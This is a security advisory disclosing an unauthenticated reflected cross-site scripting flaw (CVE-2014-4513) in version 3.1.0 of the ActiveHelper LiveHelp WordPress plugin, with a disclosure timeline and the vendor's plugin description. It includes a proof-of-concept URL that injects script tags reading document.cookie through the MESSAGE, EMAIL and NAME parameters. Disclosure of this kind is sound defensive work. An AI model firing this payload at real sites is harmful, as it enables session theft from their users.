wp-plugin : activehelper-livehelp

Plugin Details
Plugin Name: wp-plugin : activehelper-livehelp
Effected Version : 3.1.0 (and most probably lower version's if any)
Vulnerability : Cross-Site Scripting (XSS)
Identified by : prajalkulkarni
WPScan Reference URL

Technical Details
Minimum Level of Access Required : Unauthenticated
PoC - (Proof of Concept) :

http://127.0.0.1/wp-content/plugins/activehelper-livehelp/server/offline.php?MESSAGE=MESSAGE%22%3E%3C/textarea%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&DOMAINID=DOMAINID&COMPLETE=COMPLETE&TITLE=TITLE&URL=URL&COMPANY=COMPANY&SERVER=SERVER&PHONE=PHONE&SECURITY=SECURITY&BCC=BCC&EMAIL=EMAIL%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&NAME=NAME%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&

 

Vulnerable Parameters : MESSAGE, EMAIL, NAME


Disclosure Timeline
Vendor Contacted : 2014-01-21
Plugin Status : Updated on 2014-02-10
Public Disclosure : May 28, 2014
CVE Number : CVE-2014-4513
Plugin Description :
[| WordPress Live Chat Plugin is the most affordable and scalable Live Chat. ActiveHelper LiveHelp Live Chat System is perfect for small and medium WordPress sites. Answer Live chats from any location, Desktop and mobile are included, Windows and Mac, IOS and Android too. Monitor in real time your website visitors. Know how many visitors are in the website, who referred, where are from, what keywords we reused to find the website and the visitors navigation history. Know decisive information of your website visitors patterns, conversations and agents service. Geo Location based on IP to location for the visitors on your website. See the visitors hometown map. Run the Live Help on your web server having 100% control over your data and many domains that you have. The ActiveHelper LiveHelp Server is UTF-8 multi language. The Live Chat system is translated to English, Spanish, German, Portuguese, Italian, French, Czech, Swedish, Norwegian, Turkey, Farsi, Greek, Hebrew, Serbo-Croatian, Russian , Hungarian ,Dutch, Finnish, Danish, Traditional Chinese, Simplified Chinese , Arab , Polish , Bulgarian , Slovak , Lithuanian , Croatian , Indonesian , Romanian, Slovenian, Estonian and Latvian. = Main Features = * Unlimited Operators * Unlimited Departments * Unlimited Domains * Multi Language Support * Full UTF-8 Support * SSL Support * Chat Re-branding * Image for each agent * Agent to Agent chat * Multi Language WordPress admin panel * Real-time Chats * Multiple Chat Requests * Auto Save Transcripts * Capture Visitor Data * Chat Queue Line * Offline Messages * Disable chat module in Offline mode * Record Offline Messages * Send Transcription to the Visitor * Ratings * Transfer Chats * Visitors Tracking * Visitors Navigation History * Proactive Chat Invitations * Proactive Messages * Auto start invitation * Disable Invitation * Redirect URL offline form * Website Push * Typing status notifications * Pre typed Responses * Send Links / Images / JavaScript * Sound & Visual Alerts * Smiles Images * Operator Rating * Summarize System activity * Support Statistics * Geo Location based on IP * Google Analytic integration. * Online/Offline status images * Proxy support * Multi Language Images * 25 Language Translations. * Agent spellchecker * Support Panel desktop for Windows and MAC * Support panel mobile for your iPhone/ipad * Support panel mobile for your Android phone and tablet * Customizable Look & Feel * Skin Support <h4>Try Free</h4> We offer a 30 days free trial. <h4>More Information</h4> Visit the <a href="http://www.activehelper.com/">ActiveHelper LiveHelp website</a> for more information about ActiveHelper LiveHelp. <h4>Support Panel Desktop</h4> Download the Support Panel Multi Platform Console, the agent app is available in the follow link for Windows and MAC: <a href="http://www.activehelper.com/extensions/wordpress-live-chat.html">Download Area</a>. <h4>Support Panel Mobile</h4> Download the Support Panel Mobile for Iphone and Ipad, the agent app is available in the follow link via Itunes: <a href="http://itunes.apple.com/us/app/live-help/id515929709?mt=8">Itunes download area</a>. Download the Support Panel Mobile for Android, the agent app is available in the follow link via Google Play: <a href="https://play.google.com/store/apps/details?id=air.com.activehelper.supportpanel">Google Play download area</a>. <h4>Support Panel Multi Platform Console Guide</h4> Visit the follow link to see the <a href="http://www.slideshare.net/activehelper/support-panel-console-3-user-guide"> user guide.</a> ]